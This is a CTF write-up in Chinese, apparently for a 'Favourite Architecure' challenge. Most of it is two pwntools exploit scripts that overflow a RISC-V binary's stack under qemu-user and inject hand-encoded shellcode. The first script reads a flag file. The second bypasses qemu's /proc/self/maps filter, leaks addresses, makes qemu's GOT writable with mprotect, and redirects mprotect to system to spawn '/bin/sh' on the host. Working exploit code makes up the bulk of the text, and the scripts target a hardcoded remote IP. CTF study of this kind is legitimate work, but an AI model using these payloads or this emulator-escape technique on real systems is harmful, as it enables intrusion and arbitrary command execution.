#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, "/home/pwn/flag")
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x01\x11" #c.addi sp -0x20
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 5
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x06\x20\x03" #c.li a2, 30
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    print("shellcode len:", hex(len(shellcode)))
    shellcode = shellcode.ljust(0x40, b"\x00")+b"/home/pwn/flag\x00"
    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload = payload.ljust(0x2c8, b"a")
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800e10)
    
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exp()

Favourite Architecure flag2

接着上一题,不过为了有足够的空间需要把shellcode的位置做调整,sp的位置做调整,以便读取/proc/self/maps泄露地址

观察了qemu的源码以及实际测试发现,qemu-user没有做好地址隔离,如果泄露出地址后借助mprotect修改qemu got表所在段权限,修改mprotect函数got表就可以执行system("/bin/sh\x00")

坑点:

  1. shellcode位置要安排好,以免读文件覆盖掉shellcode
  2. qemu对/proc/self/maps路径做了限制,可以改成/home/**/proc/self/maps来绕过
  3. qemu-user地址隔离做的不好,直接vmmap虽然看不到qemu的内存,但是可以用mprotect修改其权限,改掉之后在调试器中hexdump就可以看到内存了
  4. 如果想修改mprotect_got指向system要注意,在进入mprotect系统调用时qemu会检查第一个参数的地址是否页对齐,对齐了才会call mprotect_got上的指针。这导致在利用时需要先把flag存到bss或者data段某些页对齐的地址上(大坑

    源码:

        if ((start & ~TARGET_PAGE_MASK) != 0)
            return -EINVAL;
  5. 注意li指令立即数大小有限制,可以结合位运算扩大

EXP:

from pwn import *
import time

#p = process(argv=["./qemu-riscv64", "-g", "1234", "./main"])
#p = process(argv=["./qemu-riscv64", "./main"])
p = remote("119.28.89.167", 60001)
#p = remote("127.0.0.1", 60001)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
#context.arch = "riscv64"
elf = ELF("./main")

# overflow offset: 0x120
# ret_addr: 0x11300

def exp():
    p.recvuntil(b"Input the flag: ")
    #p.sendline(b"a"*0x4b8)
    ## openat(root, path, 0)
    shellcode = b"\x01\x45" #c.li a0, 0
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x01\x46" #c.li a2, 0
    shellcode += b"\x93\x08\x80\x03" #li a7, 56
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(flag_fd, reg_sp, 30)
    shellcode += b"\x0d\x45" #c.li a0, 3
    #shellcode += b"\x15\x45" #c.li a0, 5
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, reg_sp, 30)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x13\x06\x00\x32" #li a2, 0x1b0
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, reg_sp, 0x10)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x8a\x85" #c.mv a1, sp
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    shellcode += b"\x41\x46" #c.li a2, 0x10
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    shellcode += b"\x13\x01\x01\xb0" #addi sp, sp, -0x500
    shellcode += b"\x02\x64" #c.ldsp s0, 0x0(sp) => qemu_base_2
    shellcode += b"\xa2\x64" #c.ldsp s1, 0x8(sp) => mprotect_got
    shellcode += b"\x13\x01\x01\x50" #addi sp, sp, 0x500
    ## mprotect(start, len, 7)
    shellcode += b"\x13\x05\x04\x00" #mv a0, s0
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0xc
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## write(1, mprotect_got, 0x8)
    shellcode += b"\x05\x45" #c.li a0, 1
    shellcode += b"\xa6\x85" #c.mv a1, s1
    shellcode += b"\x13\x06\x80\x00" #li a2, 0x8
    shellcode += b"\x93\x08\x00\x04" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## read(0, mprotect_got, 8)
    shellcode += b"\x01\x45" #c.li a0, 0
    shellcode += b"\x93\x85\x04\x00" #mv a1, s1 => mprotect_got
    shellcode += b"\x21\x46" #c.li a2, 0x8
    shellcode += b"\x93\x08\xf0\x03" #li a7, 63
    shellcode += b"\x73\x00\x00\x00" #ecall
    ## store "/bin/sh" to 0x6d000 (PAGE_MASK_ADDR)
    shellcode += b"\x13\x01\x81\x01" #addi sp, 0x18
    shellcode += b"\x03\x39\x01\x00" #ld s2, 0x0(sp) load "/bin/sh"
    shellcode += b"\x13\x01\x81\xfe" #addi sp, -0x18
    shellcode += b"\x13\x01\xd0\x06" #li sp, 0x6d
    shellcode += b"\x13\x11\xc1\x00" #slli sp, sp, 0x4
    shellcode += b"\x23\x30\x21\x01" #sd s2, 0x0(sp) store "/bin/sh"
    ## system("/bin/sh")
    shellcode += b"\x13\x05\x01\x00" #mv a0, sp    
    shellcode += b"\x93\x05\xc0\x03" #li a1, 0x3c
    shellcode += b"\x93\x95\xc5\x00" #slli a1, a1, 0x18
    shellcode += b"\x1d\x46" #c.li a2, 0x7
    shellcode += b"\x93\x08\x20\x0e" #li a7, 226(mprotect)
    shellcode += b"\x73\x00\x00\x00" #ecall
    

    print("shellcode len:", hex(len(shellcode)))    
    
    payload = b"a"*0x120+p64(0x1058a)
    payload += shellcode
    payload = payload.ljust(0x320, b"a")
    payload += p64(0x4000800c70)
    payload += b"/proc/self/task/../maps\x00/bin/sh\x00"
    
    p.sendline(payload)
    
    #time.sleep(1)
    for i in range(6):
        p.recvuntil(b"\n")
    qemu_base = int(p.recvuntil(b"-", drop=True), 16)
    p.recvuntil(b"\n")
    qemu_base_2 = int(p.recvuntil(b"-", drop=True), 16)
    p.recv()
    
    do_syscall_1 = qemu_base + 0x141100
    do_syscall = qemu_base + 0x14cb50
    mprotect_got = qemu_base + 0x6A3200
    print("[*] qemu_base:", hex(qemu_base))
    print("[*] do_syscall_1:", hex(do_syscall_1))
    print("[*] mprotect_got:", hex(mprotect_got))
    print("[*] qemu_base_2:", hex(qemu_base_2))

    p.send(p64(qemu_base_2)+p64(mprotect_got))
    
    mprotect_libc = u64(p.recv(8))
    libc_base = mprotect_libc - libc.symbols[b"__mprotect"]
    system = libc_base + libc.symbols[b"system"]
    print("[*] mprotect_libc:", hex(mprotect_libc))
    print("[*] libc_base:", hex(libc_base))
    print("[*] system:", hex(system))
    
    p.send(p64(system))
    
    p.interactive()

if __name__ == "__main__":
    exp()